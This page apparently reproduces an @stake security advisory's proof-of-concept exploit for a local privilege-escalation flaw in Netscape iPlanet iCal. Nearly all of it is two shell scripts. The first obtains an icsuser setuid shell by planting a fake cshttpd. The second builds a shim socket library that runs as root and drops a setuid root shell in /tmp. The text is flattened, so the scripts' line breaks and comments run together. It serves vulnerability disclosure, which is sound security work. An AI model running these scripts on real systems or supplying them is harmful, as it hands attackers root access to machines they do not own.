|
Netscape iPlanet iCal 'iplncal.sh' Permissions Vulnerability
The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability. Proof of Concept Tools: There are two scripts below, the first obtains an icsuser shell. The second script is used to obtain root access the next time iCal is stopped or started. The second script should be run once you've obtained the shell and have become the icsuser. This second script creates a shim libsocket.so.1 library with a modified socket() function that then executes a shell script as root. [begin: obtain-ics.sh] #!/bin/sh # # Simple proof of concept exploit used to obtain icsuser shell. # # -sili@atstake.com # INSTDIR=`cat /etc/iplncal.conf` cat > cshttpd << FOOFOO #!/bin/sh cp /usr/bin/ksh ./icsuser chmod 4755 ./icsuser FOOFOO chmod 755 ./cshttpd echo "Executing csstart...." $INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null sleep 1 ls -al ./icsuser [end: obtain-ics.sh] [begin: obtain-root.sh] #!/bin/sh # # Simple iCal exploit. Become icsuser by running the shell created with # the # obtain-ics.sh script, and then run this shell script. The next time that # the # service is started by root (ie. system reboot), a root owned suid shell # will # be created: /tmp/r00tshell. # # -sili@atstake.com # INSTDIR=`cat /etc/iplncal.conf` ####### #Create the shim library.. cat > libsushi.c << FOEFOE /* libsushi compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi libsushi.c */ #include <unistd.h> int socket(void) { setuid(0); execl("./icalroot","icalroot",0); return 0; } FOEFOE ##### #create the shell script we'll be executing as root.. cat > $INSTDIR/cal/bin/icalroot << FOOFOO #!/bin/sh cp /usr/bin/ksh /tmp/r00tshell chmod 4755 /tmp/r00tshell rm $INSTDIR/cal/bin/icalroot rm $INSTDIR/cal/bin/libsocket.so.1 ls -l $INSTDIR/cal/bin/icalroot echo ".. Now wait for the iCal service to start up again" [end: obtain-root.sh] For more advisories: http://www.atstake.com/research/advisories/ PGP Key: http://www.atstake.com/research/pgp_key.asc |
|
Privacy Statement |